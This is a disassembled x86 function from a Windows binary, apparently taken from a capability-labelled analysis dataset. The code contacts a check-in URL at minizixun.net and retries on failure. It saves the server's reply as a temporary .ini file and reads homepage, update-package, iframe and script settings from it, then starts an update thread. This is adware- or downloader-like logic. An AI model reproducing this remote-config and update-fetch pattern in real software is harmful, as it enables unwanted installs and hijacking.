Function at 0x401f53
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
push ebx
push esi
mov esi, ecx
push edi
xor ebx, ebx
push 0x40e2e4
lea edi, [esi + 4]
mov dword [esi + 0x170], ebx
mov ecx, edi
mov dword [esi + 0x174], ebx
call fcn.00404095
lea ecx, [ebp - 0x94]
call fcn.004065f6
lea eax, [ebp - 0x94]
mov ecx, edi
push eax
call fcn.004040ce
mov eax, dword [ebp - 0x94]
push 1
add eax, 0x2bc
mov ecx, edi
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x90]
add eax, 0x1c2
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x94]
push eax
call fcn.004040a4
push 1
push 0x1a7
push 0x2b9
push 0x19
push 1
push 0x3e8
mov ecx, edi
call fcn.0040412e
push eax
call dword [sym.imp.USER32.dll_MoveWindow]
lea ecx, [ebp - 0xa4]
call fcn.004065f6
lea eax, [ebp - 0xa4]
mov ecx, edi
push eax
call fcn.004040dd
push ebx
lea ecx, [ebp - 0x44]
call fcn.0040a5d9
push 1
push 1
push dword [ebp - 0x98]
lea ecx, [ebp - 0x44]
push dword [ebp - 0x9c]
push dword [ebp - 0xa0]
push dword [ebp - 0xa4]
call fcn.00403ded
test eax, eax
je 0x402b2e
push 1
lea ecx, [ebp - 0x44]
call fcn.00405779
push eax
mov ecx, edi
call fcn.00404237
lea ecx, [ebp - 0x44]
call fcn.00404273
push ebx
mov ecx, edi
call fcn.004010ae
mov edi, 0x40e858
push 0xd0
mov ecx, edi
call fcn.0040b745
push eax
call dword [sym.imp.USER32.dll_LoadBitmapA]
push eax
lea ecx, [esi + 0x140]
call fcn.00403dbd
push 0xce
mov ecx, edi
call fcn.0040b745
push eax
call dword [sym.imp.USER32.dll_LoadBitmapA]
push eax
lea ecx, [esi + 0x144]
call fcn.00403dbd
push ebx
lea ecx, [ebp - 0x10]
call fcn.0040a5d9
push ebx
lea ecx, [ebp - 4]
call fcn.0040a5d9
push 0x2000
push ebx
push 0xffffffffffffffff
push 3
push 0x1d
push ecx
mov ecx, esp
push 0xd6
call fcn.00403d5f
lea ecx, [ebp - 0x10]
call fcn.0040433f
push ecx
mov ecx, esp
push 0xd7
call fcn.00403d5f
lea ecx, [ebp - 4]
call fcn.00403dcf
push ebx
lea ecx, [ebp - 4]
call fcn.00405779
push eax
lea ecx, [ebp - 0x10]
call fcn.00404378
push ecx
mov ecx, esp
push 0xd5
call fcn.00403d5f
lea ecx, [ebp - 4]
call fcn.00403dcf
push ebx
lea ecx, [ebp - 4]
call fcn.00405779
push eax
lea ecx, [ebp - 0x10]
call fcn.00404378
push ebx
lea ecx, [esi + 0x74]
push 9
call fcn.00403bab
lea ecx, [ebp - 0x10]
call fcn.00405779
push eax
lea ecx, [esi + 0x74]
call fcn.00403bd7
push 0xffffffffffffffff
push 2
push 1
push ebx
lea ecx, [esi + 0x74]
call fcn.00403cb1
push 0x40e2dc
lea ecx, [esi + 0x74]
call fcn.00403c15
push 0x2000
push ebx
push 0xffffffffffffffff
push 3
push 0x1b
push ecx
mov ecx, esp
push 0xd9
call fcn.00403d5f
lea ecx, [ebp - 0x10]
call fcn.0040433f
push ecx
mov ecx, esp
push 0xd1
call fcn.00403d5f
lea ecx, [ebp - 4]
call fcn.00403dcf
push ebx
lea ecx, [ebp - 4]
call fcn.00405779
push eax
lea ecx, [ebp - 0x10]
call fcn.00404378
push ecx
mov ecx, esp
push 0xd8
call fcn.00403d5f
lea ecx, [ebp - 4]
call fcn.00403dcf
push ebx
lea ecx, [ebp - 4]
call fcn.00405779
push eax
lea ecx, [ebp - 0x10]
call fcn.00404378
push ebx
lea ecx, [esi + 0xb8]
push 9
call fcn.00403bab
lea ecx, [ebp - 0x10]
call fcn.00405779
push eax
lea ecx, [esi + 0xb8]
call fcn.00403bd7
push 0xffffffffffffffff
push 2
push 1
push ebx
lea ecx, [esi + 0xb8]
call fcn.00403cb1
push 0x40e2d4
lea ecx, [esi + 0xb8]
call fcn.00403c15
push 0x2000
push ebx
push 0xffffffffffffffff
push 3
push 0x1d
push ecx
mov ecx, esp
push 0xd3
call fcn.00403d5f
lea ecx, [ebp - 0x10]
call fcn.0040433f
push ecx
mov ecx, esp
push 0xd4
call fcn.00403d5f
lea ecx, [ebp - 4]
call fcn.00403dcf
push ebx
lea ecx, [ebp - 4]
call fcn.00405779
push eax
lea ecx, [ebp - 0x10]
call fcn.00404378
push ecx
mov ecx, esp
push 0xd2
call fcn.00403d5f
lea ecx, [ebp - 4]
call fcn.00403dcf
push ebx
lea ecx, [ebp - 4]
call fcn.00405779
push eax
lea ecx, [ebp - 0x10]
call fcn.00404378
push ebx
lea ecx, [esi + 0xfc]
push 9
call fcn.00403bab
lea ecx, [ebp - 0x10]
call fcn.00405779
push eax
lea ecx, [esi + 0xfc]
call fcn.00403bd7
push 0xffffffffffffffff
push 2
push 1
push ebx
lea ecx, [esi + 0xfc]
call fcn.00403cb1
push 0x40e2cc
lea ecx, [esi + 0xfc]
call fcn.00403c15
lea ecx, [ebp - 0x64]
call fcn.004065f6
lea ecx, [ebp - 0x74]
call fcn.004065f6
lea ecx, [ebp - 0x84]
call fcn.004065f6
lea eax, [ebp - 0x64]
lea ecx, [esi + 0x100]
push eax
call fcn.004040dd
lea eax, [ebp - 0x74]
lea ecx, [esi + 0xbc]
push eax
call fcn.004040dd
lea eax, [ebp - 0x84]
lea ecx, [esi + 0x78]
push eax
call fcn.004040dd
lea ecx, [ebp - 0x64]
call fcn.004044d7
lea ecx, [ebp - 0x64]
mov dword [ebp - 8], eax
call fcn.004044d7
mov ecx, 0x2c0
push 1
sub ecx, eax
mov eax, dword [ebp - 8]
add eax, ecx
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x64]
push eax
lea ecx, [esi + 0x100]
call fcn.004040a4
lea ecx, [ebp - 0x74]
call fcn.004044d7
lea ecx, [ebp - 0x74]
mov dword [ebp - 8], eax
call fcn.004044d7
mov ecx, dword [ebp - 0x64]
push 1
sub ecx, eax
mov eax, dword [ebp - 8]
add eax, ecx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x74]
push eax
lea ecx, [esi + 0xbc]
call fcn.004040a4
lea ecx, [ebp - 0x84]
call fcn.004044d7
lea ecx, [ebp - 0x84]
mov dword [ebp - 8], eax
call fcn.004044d7
mov ecx, dword [ebp - 0x74]
push 1
sub ecx, eax
mov eax, dword [ebp - 8]
add eax, ecx
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x84]
push eax
lea ecx, [esi + 0x78]
call fcn.004040a4
push ebx
push 0xc
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push eax
push 0xb
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push eax
push 1
push 0x80
mov ecx, edi
call fcn.0040b745
push eax
call dword [sym.imp.USER32.dll_LoadImageA]
push 1
push eax
lea ecx, [esi + 4]
call fcn.0040413d
push ebx
push 0x32
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push eax
push 0x31
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push eax
push 1
push 0x80
mov ecx, edi
call fcn.0040b745
push eax
call dword [sym.imp.USER32.dll_LoadImageA]
push ebx
push eax
lea ecx, [esi + 4]
call fcn.0040413d
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
mov ecx, edi
call fcn.00403ce3
mov edi, eax
mov eax, esi
neg eax
lea ecx, [esi + 0x48]
sbb eax, eax
and eax, ecx
mov ecx, edi
push eax
call fcn.00403b3d
mov eax, esi
lea ecx, [esi + 0x4c]
neg eax
sbb eax, eax
and eax, ecx
mov ecx, edi
push eax
call fcn.00403b9b
push dword [esi + 4]
lea edi, [esi + 4]
lea ecx, [esi + 0x50]
call fcn.0040442f
push 0xffffffffffffffff
push ebx
mov ecx, esi
call fcn.00402b3f
push 1
push esi
call fcn.0040498b
pop ecx
pop ecx
push 0x3e8
mov ecx, edi
call fcn.0040412e
push eax
lea ecx, [ebp - 0x54]
call fcn.0040a7b4
lea edi, [esi + 0x68]
mov ecx, edi
call fcn.004065f6
push eax
lea ecx, [ebp - 0x54]
call fcn.00404f68
mov ecx, edi
call fcn.00405779
test eax, eax
je 0x402b23
lea eax, [esi + 0x70]
push eax
call fcn.00404f79
push dword [esi + 0x70]
lea ecx, [esi + 0x6c]
call fcn.00403d7c
push dword [esi + 0x70]
lea ecx, [ebp - 0x54]
call fcn.00403aca
mov ecx, edi
call fcn.00405779
push eax
lea ecx, [esi + 0x1c]
call fcn.00403d6b
mov ecx, edi
call fcn.00405779
mov ecx, dword [eax]
push 0xffffffffffffffff
push eax
call dword [ecx + 0xf0]
lea ecx, [ebp - 0xc]
call fcn.00401ab5
lea eax, [ebp - 0xc]
mov ecx, esi
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.004031f2
lea ecx, [ebp - 0x4c]
call fcn.00401ab5
push dword [ebp - 0x50]
lea eax, [ebp - 0x4c]
push str.http:__checkin.minizixun.net_checkin.php
push str._s__s
push eax
call fcn.00404633
add esp, 0x10
lea ecx, [ebp - 8]
call fcn.00401ab5
lea ecx, [ebp - 0x20]
call fcn.00401ab5
lea ecx, [ebp - 0x1c]
call fcn.00401ab5
lea ecx, [ebp - 0x2c]
call fcn.00401ab5
lea ecx, [ebp - 0x30]
call fcn.00401ab5
lea ecx, [ebp - 0x38]
call fcn.00401ab5
lea ecx, [ebp - 0x18]
call fcn.00401ab5
xor edi, edi
lea ecx, [ebp - 0xf0]
call fcn.00401d82
lea ecx, [ebp - 0x4c]
call fcn.00405779
push eax
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0xf0]
call fcn.00401dbb
push eax
lea ecx, [ebp - 0x18]
call fcn.00401ac1
lea ecx, [ebp - 0x34]
call fcn.004014b8
lea ecx, [ebp - 0x18]
call fcn.00401d0e
lea ecx, [ebp - 0x18]
call fcn.00401cb2
lea ecx, [ebp - 0x18]
call fcn.00401aa5
test eax, eax
je 0x4025c2
push 0x493e0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xf0]
call fcn.00401db0
inc edi
cmp edi, 3
jl 0x402554
jmp 0x4025cd
lea ecx, [ebp - 0xf0]
call fcn.00401db0
lea ecx, [ebp - 0x18]
call fcn.00401aa5
test eax, eax
je 0x4025e0
mov ecx, esi
call fcn.00402d94
lea ecx, [ebp - 0x18]
call fcn.00401aa5
test eax, eax
jne 0x402942
lea ecx, [ebp - 0x18]
call fcn.00401456
cmp eax, 1
jle 0x402942
push ebx
lea ecx, [ebp - 0x18]
call fcn.0040453f
cmp al, 0x31
jne 0x402942
lea eax, [ebp - 0x34]
push 2
push eax
lea ecx, [ebp - 0x18]
call fcn.00401b8c
push ecx
lea eax, [ebp - 0x34]
mov ecx, esp
push eax
call fcn.00401465
lea eax, [ebp - 0x40]
push eax
call fcn.00401939
pop ecx
lea eax, [ebp - 0x40]
pop ecx
push ebx
push ecx
mov ecx, esp
push eax
call fcn.00401465
lea eax, [ebp - 0x48]
push eax
call fcn.00401201
add esp, 0xc
xor eax, eax
lea edi, [ebp - 0x2f7]
mov byte [ebp - 0x2f8], bl
push 0x40
mov byte [ebp - 0x1f4], bl
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x1f3]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 1
lea eax, [ebp - 0x2f8]
push 0x22
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x1f4]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x1f4]
lea ecx, [ebp - 0x24]
push eax
call fcn.004014ea
lea eax, [ebp - 0x1f4]
lea ecx, [ebp - 0x3c]
push eax
call fcn.004014ea
push 0x5c
lea ecx, [ebp - 0x24]
call fcn.00401c70
push 0x2e
lea ecx, [ebp - 0x24]
mov edi, eax
call fcn.00401c70
sub eax, edi
lea ecx, [ebp - 0x24]
dec eax
push eax
push 0x5c
call fcn.00401c70
inc eax
lea ecx, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00401bb3
push eax
lea ecx, [ebp - 0x24]
call fcn.00401ac1
lea ecx, [ebp - 0x28]
call fcn.004014b8
push 0x5c
lea ecx, [ebp - 0x3c]
call fcn.00401c70
push eax
lea eax, [ebp - 0x28]
push ebx
push eax
lea ecx, [ebp - 0x3c]
call fcn.00401bb3
push eax
lea ecx, [ebp - 0x3c]
call fcn.00401ac1
lea ecx, [ebp - 0x28]
call fcn.004014b8
lea ecx, [ebp - 0x14]
call fcn.00401ab5
push dword [ebp - 0x24]
lea eax, [ebp - 0x14]
push dword [ebp - 0x3c]
push str._s_s.ini
push eax
call fcn.00404633
add esp, 0x10
lea ecx, [ebp - 0x14]
call fcn.00405779
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x48]
call fcn.00401456
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x48]
call fcn.00401791
push eax
lea ecx, [ebp - 0x14]
call fcn.00405779
push eax
call fcn.0040b60b
add esp, 0xc
lea ecx, [ebp - 0x48]
push 0xffffffffffffffff
call fcn.004018c2
lea ecx, [ebp - 0x14]
call fcn.00405779
mov edi, 0x104
push eax
push edi
push edi
lea ecx, [ebp - 8]
call fcn.00401791
push eax
push ebx
push str.homepage
push str.minizixun
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x14]
call fcn.00405779
push eax
push edi
push edi
lea ecx, [ebp - 0x20]
call fcn.00401791
push eax
push ebx
push str.version
push str.update
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x14]
call fcn.00405779
push eax
push edi
push edi
lea ecx, [ebp - 0x1c]
call fcn.00401791
push eax
push ebx
push str.package
push str.update
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x14]
call fcn.00405779
push eax
mov eax, 0x6590
push eax
push eax
lea ecx, [ebp - 0x2c]
call fcn.00401791
push eax
mov eax, str.onShow
push ebx
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x14]
call fcn.00405779
push eax
push edi
push edi
lea ecx, [ebp - 0x38]
call fcn.00401791
push eax
push ebx
push str.iframe
push str.mscript
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x14]
call fcn.00405779
push eax
push edi
push edi
lea ecx, [ebp - 0x30]
call fcn.00401791
push eax
mov eax, str.mscript
push ebx
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
or edi, 0xffffffff
lea ecx, [ebp - 8]
push edi
call fcn.004018c2
push edi
lea ecx, [ebp - 0x20]
call fcn.004018c2
push edi
lea ecx, [ebp - 0x1c]
call fcn.004018c2
push edi
lea ecx, [ebp - 0x2c]
call fcn.004018c2
push edi
lea ecx, [ebp - 0x38]
call fcn.004018c2
push edi
lea ecx, [ebp - 0x30]
call fcn.004018c2
lea ecx, [ebp - 8]
call fcn.00401d0e
lea ecx, [ebp - 8]
call fcn.00401cb2
lea ecx, [ebp - 0x20]
call fcn.00401d0e
lea ecx, [ebp - 0x20]
call fcn.00401cb2
lea ecx, [ebp - 0x1c]
call fcn.00401d0e
lea ecx, [ebp - 0x1c]
call fcn.00401cb2
lea ecx, [ebp - 0x2c]
call fcn.00401d0e
lea ecx, [ebp - 0x2c]
call fcn.00401cb2
lea ecx, [ebp - 0x38]
call fcn.00401d0e
lea ecx, [ebp - 0x38]
call fcn.00401cb2
lea ecx, [ebp - 0x30]
call fcn.00401d0e
lea ecx, [ebp - 0x30]
call fcn.00401cb2
lea ecx, [ebp - 0x14]
call fcn.00405779
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x14]
call fcn.004014b8
lea ecx, [ebp - 0x3c]
call fcn.004014b8
lea ecx, [ebp - 0x24]
call fcn.004014b8
lea ecx, [ebp - 0x48]
call fcn.004014b8
lea ecx, [ebp - 0x40]
call fcn.004014b8
lea ecx, [ebp - 0x34]
call fcn.004014b8
lea ecx, [ebp - 0x2c]
call fcn.00401aa5
test eax, eax
jne 0x40295d
lea eax, [ebp - 0x2c]
lea ecx, [esi + 0x150]
push eax
call fcn.00401ac1
lea ecx, [ebp - 0x30]
call fcn.00401aa5
test eax, eax
jne 0x402978
lea eax, [ebp - 0x30]
lea ecx, [esi + 0x14c]
push eax
call fcn.00401ac1
lea ecx, [ebp - 8]
call fcn.00401aa5
test eax, eax
jne 0x4029a0
lea eax, [ebp - 8]
lea ecx, [ebp - 0xc]
push eax
call fcn.00401ac1
lea ecx, [ebp - 0xc]
call fcn.00401d0e
lea ecx, [ebp - 0xc]
call fcn.00401cb2
lea ecx, [ebp - 0xc]
call fcn.00401aa5
test eax, eax
je 0x4029c9
push str.http:__minizixun.com
lea ecx, [ebp - 0xc]
call fcn.004015a5
lea ecx, [ebp - 0xc]
call fcn.00401d0e
lea ecx, [ebp - 0xc]
call fcn.00401cb2
push 0x3f
lea ecx, [ebp - 0xc]
call fcn.00401c70
cmp eax, 0xffffffff
jne 0x4029e5
push 0x40e228
lea ecx, [ebp - 0xc]
call fcn.00401f26
lea eax, [ebp - 0x50]
lea ecx, [ebp - 0xc]
push eax
call fcn.00404593
lea edi, [esi + 0x168]
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.00401ac1
push ebx
lea ecx, [ebp - 0xb4]
call fcn.00403a3d
push ebx
lea ecx, [ebp - 0xc4]
call fcn.00403a3d
lea ecx, [esi + 0x68]
call fcn.00405779
mov edx, dword [eax]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0xc4]
mov ecx, edi
push eax
lea eax, [ebp - 0xb4]
push eax
lea eax, [ebp - 0xb4]
push eax
lea eax, [ebp - 0xb4]
push eax
mov dword [ebp - 0x34], edx
call fcn.00405779
push eax
lea ecx, [ebp - 0x40]
call fcn.004039e1
mov ecx, eax
call fcn.00405779
push eax
mov eax, dword [ebp - 0x34]
push dword [ebp - 0x28]
call dword [eax + 0x2c]
lea ecx, [ebp - 0x40]
call fcn.00401050
lea ecx, [ebp - 0x20]
call fcn.00401aa5
test eax, eax
jne 0x402abd
push str.1.0.0
lea ecx, [ebp - 0x20]
call fcn.004044dd
test eax, eax
jle 0x402abd
lea ecx, [ebp - 0x1c]
call fcn.00401aa5
test eax, eax
jne 0x402abd
lea eax, [ebp - 0x1c]
lea ecx, [esi + 0x148]
push eax
call fcn.00401ac1
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], ebx
push eax
push ebx
push esi
push 0x403631
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp - 0xc4]
call fcn.00403a38
lea ecx, [ebp - 0xb4]
call fcn.00403a38
lea ecx, [ebp - 0x18]
call fcn.004014b8
lea ecx, [ebp - 0x38]
call fcn.004014b8
lea ecx, [ebp - 0x30]
call fcn.004014b8
lea ecx, [ebp - 0x2c]
call fcn.004014b8
lea ecx, [ebp - 0x1c]
call fcn.004014b8
lea ecx, [ebp - 0x20]
call fcn.004014b8
lea ecx, [ebp - 8]
call fcn.004014b8
lea ecx, [ebp - 0x4c]
call fcn.004014b8
lea ecx, [ebp - 0x50]
call fcn.004014b8
lea ecx, [ebp - 0xc]
call fcn.004014b8
lea ecx, [ebp - 4]
call fcn.00403db2
push 1
pop ebx
lea ecx, [ebp - 0x44]
call fcn.00403db2
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret 0x10